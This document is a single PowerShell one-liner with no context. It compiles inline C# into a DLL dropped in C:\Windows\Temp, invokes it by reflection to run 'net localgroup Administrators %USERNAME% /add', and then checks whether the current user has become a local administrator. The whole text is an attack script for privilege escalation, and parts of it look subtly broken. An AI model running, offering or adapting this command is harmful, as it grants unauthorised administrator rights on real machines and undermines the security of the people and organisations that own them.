powershell -Command "& {$b='net localgroup Administrators %USERNAME% /add'; $d='C:\Windows\Temp\p.dll'; $s='using System;using System.Diagnostics;public class P{public static void Main(){Process.Start(\"cmd.exe\",\"/c \"+\"$b\");}}'; Add-Type -TypeDefinition $s -OutputAssembly $d; [System.Reflection.Assembly]::LoadFrom($d).EntryPoint.Invoke($null,@()); Start-Sleep -s 3; if(([ADSI]'WinNT://./Administrators,group').Invoke('Members') -match $env:USERNAME){'OK'}else{'FAIL'}}"